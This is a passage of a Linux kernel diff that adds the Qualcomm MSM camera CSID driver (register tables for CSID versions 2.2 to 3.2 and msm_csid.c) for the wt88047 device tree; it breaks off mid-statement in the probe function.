0000000000000..4ad1c2924b1f2 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_2_2_hwreg.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_2_2_HWREG_H +#define MSM_CSID_2_2_HWREG_H + +#include "msm_csid.h" + +struct csid_reg_parms_t csid_v2_2 = { + /* MIPI CSID registers */ + 0x0, + 0x4, + 0x4, + 0x8, + 0xc, + 0x10, + 0x14, + 0x18, + 0x1C, + 0x5c, + 0x60, + 0x64, + 0x68, + 0x6c, + 0x70, + 0x74, + 0x78, + 0x7C, + 0x80, + 0x84, + 0x88, + 0x8C, + 0x90, + 0x94, + 0x9C, + 0xA0, + 0xA8, + 0xAC, + 0xB0, + 11, + 0x7FFF, + 0x2, + 17, + 0x02001000, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h new file mode 100644 index 0000000000000..980f497e4596e --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_0_hwreg.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_3_0_HWREG_H +#define MSM_CSID_3_0_HWREG_H + +#include "msm_csid.h" + +struct csid_reg_parms_t csid_v3_0 = { + /* MIPI CSID registers */ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x14, + 0x18, + 0x1C, + 0x20, + 0x60, + 0x64, + 0x68, + 0x6C, + 0x70, + 0x74, + 0x78, + 0x7C, + 0x80, + 0x84, + 0x88, + 0x8C, + 0x90, + 0x94, + 0x98, + 0xA0, + 0xA4, + 0xAC, + 0xB0, + 0xB4, + 11, + 0x7FFF, + 0x4, + 17, + 0x30000000, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h new file mode 100644 index 0000000000000..d53867f5e5c5f --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_1_hwreg.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_3_1_HWREG_H +#define MSM_CSID_3_1_HWREG_H + +#include "msm_csid.h" + +struct csid_reg_parms_t csid_v3_1 = { + /* MIPI CSID registers */ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x14, + 0x18, + 0x1C, + 0x20, + 0x60, + 0x64, + 0x68, + 0x6C, + 0x70, + 0x74, + 0x78, + 0x7C, + 0x80, + 0x84, + 0x88, + 0x8C, + 0x90, + 0x94, + 0x98, + 0xA0, + 0xA4, + 0xAC, + 0xB0, + 0xB4, + 11, + 0x7FFF, + 0x4, + 17, + 0x30010000, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h new file mode 100644 index 0000000000000..b002d78e6f043 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/include/msm_csid_3_2_hwreg.h @@ -0,0 +1,55 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#ifndef MSM_CSID_3_2_HWREG_H +#define MSM_CSID_3_2_HWREG_H + +#include "msm_csid.h" + +struct csid_reg_parms_t csid_v3_2 = { + /* MIPI CSID registers */ + 0x0, + 0x4, + 0x8, + 0xC, + 0x10, + 0x14, + 0x18, + 0x1C, + 0x20, + 0x60, + 0x64, + 0x68, + 0x6C, + 0x70, + 0x74, + 0x78, + 0x7C, + 0x80, + 0x84, + 0x88, + 0x8C, + 0x90, + 0x94, + 0x98, + 0xA0, + 0xA4, + 0xAC, + 0xB0, + 0xB4, + 11, + 0x7FFF, + 0x4, + 17, + 0x30020000, +}; +#endif diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c new file mode 100644 index 0000000000000..73d74bb6ecc98 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c @@ -0,0 +1,825 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include +#include +#include +#include "msm_csid.h" +#include "msm_sd.h" +#include "msm_camera_io_util.h" +#include "include/msm_csid_2_0_hwreg.h" +#include "include/msm_csid_2_2_hwreg.h" +#include "include/msm_csid_3_0_hwreg.h" +#include "include/msm_csid_3_1_hwreg.h" +#include "include/msm_csid_3_2_hwreg.h" + +#define V4L2_IDENT_CSID 50002 +#define CSID_VERSION_V20 0x02000011 +#define CSID_VERSION_V22 0x02001000 +#define CSID_VERSION_V30 0x30000000 +#define CSID_VERSION_V31 0x30010000 +#define CSID_VERSION_V31_1 0x30010001 +#define CSID_VERSION_V32 0x30020000 +#define CSID_VERSION_V33 0x30030000 +#define CSID_VERSION_V40 0x40000000 +#define MSM_CSID_DRV_NAME "msm_csid" + +#define DBG_CSID 0 + +#define TRUE 1 +#define FALSE 0 + +#define CSID_NUM_CLK_MAX 16 + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif +static struct msm_cam_clk_info csid_clk_info[CSID_NUM_CLK_MAX]; +static struct msm_cam_clk_info csid_clk_src_info[CSID_NUM_CLK_MAX]; + +static struct camera_vreg_t csid_vreg_info[] = { + {"qcom,mipi-csi-vdd", REG_LDO, 0, 0, 12000}, +}; + +static struct camera_vreg_t csid_8960_vreg_info[] = { + {"mipi_csi_vdd", REG_LDO, 1200000, 1200000, 20000}, +}; + +static int msm_csid_cid_lut( + struct msm_camera_csid_lut_params *csid_lut_params, + struct csid_device *csid_dev) +{ + int rc = 0, i = 0; + uint32_t val = 0; + + if (!csid_lut_params) { + pr_err("%s:%d csid_lut_params NULL\n", __func__, __LINE__); + return -EINVAL; + } + for (i = 0; i < csid_lut_params->num_cid && i < 16; i++) { + CDBG("%s lut params num_cid = %d, cid = %d\n", + __func__, + csid_lut_params->num_cid, + csid_lut_params->vc_cfg[i]->cid); + CDBG("%s lut params dt = 0x%x, df = %d\n", __func__, + csid_lut_params->vc_cfg[i]->dt, + csid_lut_params->vc_cfg[i]->decode_format); + if (csid_lut_params->vc_cfg[i]->dt < 0x12 || + csid_lut_params->vc_cfg[i]->dt > 0x37) { + pr_err("%s: unsupported data type 0x%x\n", + __func__, csid_lut_params->vc_cfg[i]->dt); + return rc; + } + val = msm_camera_io_r(csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_cid_lut_vc_0_addr + + (csid_lut_params->vc_cfg[i]->cid >> 2) * 4) + & ~(0xFF << ((csid_lut_params->vc_cfg[i]->cid % 4) * + 8)); + val |= (csid_lut_params->vc_cfg[i]->dt << + ((csid_lut_params->vc_cfg[i]->cid % 4) * 8)); + msm_camera_io_w(val, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_cid_lut_vc_0_addr + + (csid_lut_params->vc_cfg[i]->cid >> 2) * 4); + + val = (csid_lut_params->vc_cfg[i]->decode_format << 4) | 0x3; + msm_camera_io_w(val, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_cid_n_cfg_addr + + (csid_lut_params->vc_cfg[i]->cid * 4)); + } + return rc; +} + +#if DBG_CSID +static void msm_csid_set_debug_reg(struct csid_device *csid_dev, + struct msm_camera_csid_params *csid_params) +{ + uint32_t val = 0; + val = ((1 << csid_params->lane_cnt) - 1) << 20; + msm_camera_io_w(0x7f010800 | val, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_mask_addr); + msm_camera_io_w(0x7f010800 | val, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); +} +#else +static void msm_csid_set_debug_reg(struct csid_device *csid_dev, + struct msm_camera_csid_params *csid_params) {} +#endif + +static void msm_csid_reset(struct csid_device *csid_dev) +{ + msm_camera_io_w(csid_dev->ctrl_reg->csid_reg.csid_rst_stb_all, + csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_rst_cmd_addr); + wait_for_completion(&csid_dev->reset_complete); + return; +} + +static int msm_csid_config(struct csid_device *csid_dev, + struct msm_camera_csid_params *csid_params) +{ + int rc = 0; + uint32_t val = 0; + void __iomem *csidbase; + csidbase = csid_dev->base; + if (!csidbase || !csid_params) { + pr_err("%s:%d csidbase %p, csid params %p\n", __func__, + __LINE__, csidbase, csid_params); + return -EINVAL; + } + + CDBG("%s csid_params, lane_cnt = %d, lane_assign = 0x%x\n", + __func__, + csid_params->lane_cnt, + csid_params->lane_assign); + CDBG("%s csid_params phy_sel = %d\n", __func__, + csid_params->phy_sel); + + msm_csid_reset(csid_dev); + + val = csid_params->lane_cnt - 1; + val |= csid_params->lane_assign << + csid_dev->ctrl_reg->csid_reg.csid_dl_input_sel_shift; + if (csid_dev->hw_version < 0x30000000) { + val |= (0xF << 10); + msm_camera_io_w(val, csidbase + + csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_0_addr); + } else { + msm_camera_io_w(val, csidbase + + csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_0_addr); + val = csid_params->phy_sel << + csid_dev->ctrl_reg->csid_reg.csid_phy_sel_shift; + val |= 0xF; + msm_camera_io_w(val, csidbase + + csid_dev->ctrl_reg->csid_reg.csid_core_ctrl_1_addr); + } + + rc = msm_csid_cid_lut(&csid_params->lut_params, csid_dev); + if (rc < 0) + return rc; + + msm_csid_set_debug_reg(csid_dev, csid_params); + return rc; +} + +static irqreturn_t msm_csid_irq(int irq_num, void *data) +{ + uint32_t irq; + struct csid_device *csid_dev = data; + void __iomem *csidbase; + csidbase = csid_dev->base; + + if (!csid_dev) { + pr_err("%s:%d csid_dev NULL\n", __func__, __LINE__); + return IRQ_HANDLED; + } + irq = msm_camera_io_r(csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_status_addr); + CDBG("%s CSID%d_IRQ_STATUS_ADDR = 0x%x\n", + __func__, csid_dev->pdev->id, irq); + if (irq & (0x1 << + csid_dev->ctrl_reg->csid_reg.csid_rst_done_irq_bitshift)) + complete(&csid_dev->reset_complete); + msm_camera_io_w(irq, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); + return IRQ_HANDLED; +} + +static int msm_csid_irq_routine(struct v4l2_subdev *sd, u32 status, + bool *handled) +{ + struct csid_device *csid_dev = v4l2_get_subdevdata(sd); + irqreturn_t ret; + CDBG("%s E\n", __func__); + ret = msm_csid_irq(csid_dev->irq->start, csid_dev); + *handled = TRUE; + return 0; +} + +static int msm_csid_subdev_g_chip_ident(struct v4l2_subdev *sd, + struct v4l2_dbg_chip_ident *chip) +{ + BUG_ON(!chip); + chip->ident = V4L2_IDENT_CSID; + chip->revision = 0; + return 0; +} + +static int msm_csid_init(struct csid_device *csid_dev, uint32_t *csid_version) +{ + int rc = 0; + + if (!csid_version) { + pr_err("%s:%d csid_version NULL\n", __func__, __LINE__); + rc = -EINVAL; + return rc; + } + + if (csid_dev->csid_state == CSID_POWER_UP) { + pr_err("%s: csid invalid state %d\n", __func__, + csid_dev->csid_state); + rc = -EINVAL; + return rc; + } + + csid_dev->base = ioremap(csid_dev->mem->start, + resource_size(csid_dev->mem)); + if (!csid_dev->base) { + pr_err("%s csid_dev->base NULL\n", __func__); + rc = -ENOMEM; + return rc; + } + + pr_info("%s: CSID_VERSION = 0x%x\n", __func__, + csid_dev->ctrl_reg->csid_reg.csid_version); + /* power up */ + if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { + rc = msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 1); + } else { + rc = msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 1); + } + if (rc < 0) { + pr_err("%s: regulator on failed\n", __func__); + goto vreg_config_failed; + } + if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { + rc = msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 1); + } else { + rc = msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 1); + } + if (rc < 0) { + pr_err("%s: regulator enable failed\n", __func__); + goto vreg_enable_failed; + } + + if (csid_dev->ctrl_reg->csid_reg.csid_version == CSID_VERSION_V22) + msm_cam_clk_sel_src(&csid_dev->pdev->dev, + &csid_clk_info[3], csid_clk_src_info, + csid_dev->num_clk_src_info); + + + rc = msm_cam_clk_enable(&csid_dev->pdev->dev, + csid_clk_info, csid_dev->csid_clk, + csid_dev->num_clk, 1); + if (rc < 0) { + pr_err("%s:%d clock enable failed\n", + __func__, __LINE__); + goto clk_enable_failed; + } + CDBG("%s:%d called\n", __func__, __LINE__); + csid_dev->hw_version = + msm_camera_io_r(csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_hw_version_addr); + CDBG("%s:%d called csid_dev->hw_version %x\n", __func__, __LINE__, + csid_dev->hw_version); + *csid_version = csid_dev->hw_version; + + init_completion(&csid_dev->reset_complete); + + enable_irq(csid_dev->irq->start); + + msm_csid_reset(csid_dev); + csid_dev->csid_state = CSID_POWER_UP; + return rc; + +clk_enable_failed: + if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else { + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } +vreg_enable_failed: + if (csid_dev->ctrl_reg->csid_reg.csid_version < CSID_VERSION_V22) { + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else { + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } +vreg_config_failed: + iounmap(csid_dev->base); + csid_dev->base = NULL; + return rc; +} + +static int msm_csid_release(struct csid_device *csid_dev) +{ + uint32_t irq; + + if (csid_dev->csid_state != CSID_POWER_UP) { + pr_err("%s: csid invalid state %d\n", __func__, + csid_dev->csid_state); + return -EINVAL; + } + + CDBG("%s:%d, hw_version = 0x%x\n", __func__, __LINE__, + csid_dev->hw_version); + + irq = msm_camera_io_r(csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_status_addr); + msm_camera_io_w(irq, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_clear_cmd_addr); + msm_camera_io_w(0, csid_dev->base + + csid_dev->ctrl_reg->csid_reg.csid_irq_mask_addr); + + disable_irq(csid_dev->irq->start); + + if (csid_dev->hw_version == CSID_VERSION_V20) { + msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, + csid_dev->csid_clk, csid_dev->num_clk, 0); + + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_8960_vreg_info, ARRAY_SIZE(csid_8960_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else if (csid_dev->hw_version == CSID_VERSION_V22) { + msm_cam_clk_enable(&csid_dev->pdev->dev, + csid_clk_info, + csid_dev->csid_clk, + csid_dev->num_clk, 0); + + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else if ((csid_dev->hw_version >= CSID_VERSION_V30 && + csid_dev->hw_version < CSID_VERSION_V31) || + (csid_dev->hw_version == CSID_VERSION_V40) || + (csid_dev->hw_version == CSID_VERSION_V31_1)) { + msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, + csid_dev->csid_clk, csid_dev->num_clk, 0); + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else if ((csid_dev->hw_version == CSID_VERSION_V31) || + (csid_dev->hw_version == CSID_VERSION_V32) || + (csid_dev->hw_version == CSID_VERSION_V33)) { + msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, + csid_dev->csid_clk, csid_dev->num_clk, 0); + msm_camera_enable_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + + msm_camera_config_vreg(&csid_dev->pdev->dev, + csid_vreg_info, ARRAY_SIZE(csid_vreg_info), + NULL, 0, &csid_dev->csi_vdd, 0); + } else { + pr_err("%s:%d, invalid hw version : 0x%x", __func__, __LINE__, + csid_dev->hw_version); + return -EINVAL; + } + + iounmap(csid_dev->base); + csid_dev->base = NULL; + csid_dev->csid_state = CSID_POWER_DOWN; + return 0; +} + +static int32_t msm_csid_cmd(struct csid_device *csid_dev, void *arg) +{ + int rc = 0; + struct csid_cfg_data *cdata = (struct csid_cfg_data *)arg; + + if (!csid_dev || !cdata) { + pr_err("%s:%d csid_dev %p, cdata %p\n", __func__, __LINE__, + csid_dev, cdata); + return -EINVAL; + } + CDBG("%s cfgtype = %d\n", __func__, cdata->cfgtype); + switch (cdata->cfgtype) { + case CSID_INIT: + rc = msm_csid_init(csid_dev, &cdata->cfg.csid_version); + CDBG("%s csid version 0x%x\n", __func__, + cdata->cfg.csid_version); + break; + case CSID_CFG: { + struct msm_camera_csid_params csid_params; + struct msm_camera_csid_vc_cfg *vc_cfg = NULL; + int8_t i = 0; + if (copy_from_user(&csid_params, + (void *)cdata->cfg.csid_params, + sizeof(struct msm_camera_csid_params))) { + pr_err("%s: %d failed\n", __func__, __LINE__); + rc = -EFAULT; + break; + } + if (csid_params.lut_params.num_cid < 1 || + csid_params.lut_params.num_cid > 16) { + pr_err("%s: %d num_cid outside range\n", + __func__, __LINE__); + rc = -EINVAL; + break; + } + for (i = 0; i < csid_params.lut_params.num_cid; i++) { + vc_cfg = kzalloc(sizeof(struct msm_camera_csid_vc_cfg), + GFP_KERNEL); + if (!vc_cfg) { + pr_err("%s: %d failed\n", __func__, __LINE__); + for (i--; i >= 0; i--) + kfree(csid_params.lut_params.vc_cfg[i]); + rc = -ENOMEM; + break; + } + if (copy_from_user(vc_cfg, + (void *)csid_params.lut_params.vc_cfg[i], + sizeof(struct msm_camera_csid_vc_cfg))) { + pr_err("%s: %d failed\n", __func__, __LINE__); + kfree(vc_cfg); + for (i--; i >= 0; i--) + kfree(csid_params.lut_params.vc_cfg[i]); + rc = -EFAULT; + break; + } + csid_params.lut_params.vc_cfg[i] = vc_cfg; + } + rc = msm_csid_config(csid_dev, &csid_params); + for (i--; i >= 0; i--) + kfree(csid_params.lut_params.vc_cfg[i]); + break; + } + case CSID_RELEASE: + rc = msm_csid_release(csid_dev); + break; + default: + pr_err("%s: %d failed\n", __func__, __LINE__); + rc = -ENOIOCTLCMD; + break; + } + return rc; +} + +static int32_t msm_csid_get_subdev_id(struct csid_device *csid_dev, void *arg) +{ + uint32_t *subdev_id = (uint32_t *)arg; + if (!subdev_id) { + pr_err("%s:%d failed\n", __func__, __LINE__); + return -EINVAL; + } + *subdev_id = csid_dev->pdev->id; + pr_debug("%s:%d subdev_id %d\n", __func__, __LINE__, *subdev_id); + return 0; +} + +static long msm_csid_subdev_ioctl(struct v4l2_subdev *sd, + unsigned int cmd, void *arg) +{ + int rc = -ENOIOCTLCMD; + struct csid_device *csid_dev = v4l2_get_subdevdata(sd); + mutex_lock(&csid_dev->mutex); + CDBG("%s:%d id %d\n", __func__, __LINE__, csid_dev->pdev->id); + switch (cmd) { + case VIDIOC_MSM_SENSOR_GET_SUBDEV_ID: + rc = msm_csid_get_subdev_id(csid_dev, arg); + break; + case VIDIOC_MSM_CSID_IO_CFG: + rc = msm_csid_cmd(csid_dev, arg); + break; + case VIDIOC_MSM_CSID_RELEASE: + case MSM_SD_SHUTDOWN: + rc = msm_csid_release(csid_dev); + break; + default: + pr_err_ratelimited("%s: command not found\n", __func__); + } + CDBG("%s:%d\n", __func__, __LINE__); + mutex_unlock(&csid_dev->mutex); + return rc; +} + +static const struct v4l2_subdev_internal_ops msm_csid_internal_ops; + +static struct v4l2_subdev_core_ops msm_csid_subdev_core_ops = { + .g_chip_ident = &msm_csid_subdev_g_chip_ident, + .ioctl = &msm_csid_subdev_ioctl, + .interrupt_service_routine = msm_csid_irq_routine, +}; + +static const struct v4l2_subdev_ops msm_csid_subdev_ops = { + .core = &msm_csid_subdev_core_ops, +}; + +static int msm_csid_get_clk_info(struct csid_device *csid_dev, + struct platform_device *pdev) +{ + uint32_t count; + uint32_t cnt = 0; + int i, rc; + int ii = 0; + uint32_t rates[CSID_NUM_CLK_MAX]; + const char *clock_name; + struct device_node *of_node; + of_node = pdev->dev.of_node; + + count = of_property_count_strings(of_node, "clock-names"); + csid_dev->num_clk = count; + + CDBG("%s: count = %d\n", __func__, count); + if (count == 0) { + pr_err("%s: no clocks found in device tree, count=%d", + __func__, count); + return -EINVAL; + } + + if (count > CSID_NUM_CLK_MAX) { + pr_err("%s: invalid count=%d, max is %d\n", __func__, + count, CSID_NUM_CLK_MAX); + return -EINVAL; + } + + if (csid_dev->hw_dts_version == CSID_VERSION_V22) { + cnt = count; + count = 0; + CDBG("%s: cnt = %d\n", __func__, cnt); + if (cnt == 0) { + pr_err("%s: no clocks found in device tree, cnt=%d", + __func__, cnt); + return -EINVAL; + } + + if (cnt > CSID_NUM_CLK_MAX) { + pr_err("%s: invalid cnt=%d, max is %d\n", __func__, + cnt, CSID_NUM_CLK_MAX); + return -EINVAL; + } + + for (i = 0; i < cnt; i++) { + count++; + rc = of_property_read_string_index(of_node, + "clock-names", i, &clock_name); + CDBG("%s: clock_names[%d] = %s\n", __func__, + i, clock_name); + if (rc < 0) { + pr_err("%s:%d, failed\n", __func__, __LINE__); + return rc; + } + if (strcmp(clock_name, "csi_phy_src_clk") == 0) + break; + } + csid_dev->num_clk = count; + } + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, "clock-names", + i, &(csid_clk_info[i].clk_name)); + CDBG("%s: clock-names[%d] = %s\n", __func__, + i, csid_clk_info[i].clk_name); + if (rc < 0) { + pr_err("%s:%d, failed\n", __func__, __LINE__); + return rc; + } + } + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, count); + if (rc < 0) { + pr_err("%s:%d, failed", __func__, __LINE__); + return rc; + } + for (i = 0; i < count; i++) { + csid_clk_info[i].clk_rate = (rates[i] == 0) ? -1 : rates[i]; + CDBG("%s: clk_rate[%d] = %ld\n", __func__, i, + csid_clk_info[i].clk_rate); + } + + if (csid_dev->hw_dts_version == CSID_VERSION_V22) { + csid_dev->num_clk_src_info = cnt - count; + CDBG("%s: count = %d\n", __func__, (cnt - count)); + + for (i = count; i < cnt; i++) { + ii++; + rc = of_property_read_string_index(of_node, + "clock-names", i, + &(csid_clk_src_info[ii].clk_name)); + CDBG("%s: clock-names[%d] = %s\n", __func__, + ii, csid_clk_src_info[ii].clk_name); + if (rc < 0) { + pr_err("%s:%d, failed\n", __func__, __LINE__); + return rc; + } + } + ii = 0; + rc = of_property_read_u32_array(of_node, "qcom,clock-rates", + rates, cnt); + if (rc < 0) { + pr_err("%s:%d, failed", __func__, __LINE__); + return rc; + } + for (i = count; i < cnt; i++) { + ii++; + csid_clk_src_info[ii].clk_rate = rates[i]; + CDBG("%s: clk_rate[%d] = %ld\n", __func__, ii, + csid_clk_src_info[ii].clk_rate); + } + } + return 0; +} + +static int csid_probe(struct platform_device *pdev) +{ + struct csid_device *new_csid_dev; + uint32_t csi_vdd_voltage = 0; + int rc = 0; + new_csid_dev = kzalloc(sizeof(struct csid_device), GFP_KERNEL); + if (!new_csid_dev) { + pr_err("%s: no enough memory\n", __func__); + return -ENOMEM; + } + + new_csid_dev->ctrl_reg = NULL; + new_csid_dev->ctrl_reg = kzalloc(sizeof(struct csid_ctrl_t), + GFP_KERNEL); + if (!new_csid_dev->ctrl_reg) { + pr_err("%s:%d kzalloc failed\n", __func__, __LINE__); + return -ENOMEM; + } + + v4l2_subdev_init(&new_csid_dev->msm_sd.sd, &msm_csid_subdev_ops); + v4l2_set_subdevdata(&new_csid_dev->msm_sd.sd, new_csid_dev); + platform_set_drvdata(pdev, &new_csid_dev->msm_sd.sd); + mutex_init(&new_csid_dev->mutex); + + if (pdev->dev.of_node) { + rc = of_property_read_u32((&pdev->dev)->of_node, + "cell-index", &pdev->id); + if (rc < 0) { + pr_err("%s:%d failed to read cell-index\n", __func__, + __LINE__); + goto csid_no_resource; + } + CDBG("%s device id %d\n", __func__, pdev->id); + + rc = of_property_read_u32((&pdev->dev)->of_node, + "qcom,csi-vdd-voltage", &csi_vdd_voltage); + if (rc < 0) { + pr_err("%s:%d failed to read qcom,csi-vdd-voltage\n", + __func__, __LINE__); + goto csid_no_resource; + } + CDBG("%s:%d reading mipi_csi_vdd is %d\n", __func__, __LINE__, + csi_vdd_voltage); + + csid_vreg_info[0].min_voltage = csi_vdd_voltage; + csid_vreg_info[0].max_voltage = csi_vdd_voltage; + } + + rc = msm_csid_get_clk_info(new_csid_dev, pdev); + if (rc < 0) { + pr_err("%s: msm_csid_get_clk_info() failed", __func__); + return -EFAULT; + } + + + new_csid_dev->mem = platform_get_resource_byname(pdev, + IORESOURCE_MEM, "csid"); + if (!new_csid_dev->mem) { + pr_err("%s: no mem resource?\n", __func__); + rc = -ENODEV; + goto csid_no_resource; + } + new_csid_dev->irq = platform_get_resource_byname(pdev, + IORESOURCE_IRQ, "csid"); + if (!new_csid_dev->irq) { + pr_err("%s: no irq resource?\n", __func__); + rc = -ENODEV; + goto csid_no_resource; + } + new_csid_dev->io = request_mem_region(new_csid_dev->mem->start, + resource_size(new_csid_dev->mem), pdev->name); + if (!new_csid_dev->io) { + pr_err("%s: no valid mem region\n", __func__); + rc = -EBUSY; + goto csid_no_resource; + } + + new_csid_dev->pdev = pdev; + new_csid_dev->msm_sd.sd.internal_ops = &msm_csid_internal_ops; + new_csid_dev->msm_sd.sd.flags |= V4L2_SUBDEV_FL_HAS_DEVNODE; + snprintf(new_csid_dev->msm_sd.sd.name, + ARRAY_SIZE(new_csid_dev->msm_sd.sd.name), "msm_csid"); + media_entity_init(&new_csid_dev->msm_sd.sd.entity, 0, NULL, 0); + new_csid_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; + new_csid_dev->msm_sd.sd.entity.group_id = MSM_CAMERA_SUBDEV_CSID; + new_csid_dev->msm_sd.close_seq = MSM_SD_CLOSE_2ND_CATEGORY | 0x5; + msm_sd_register(&new_csid_dev->msm_sd); + + rc = 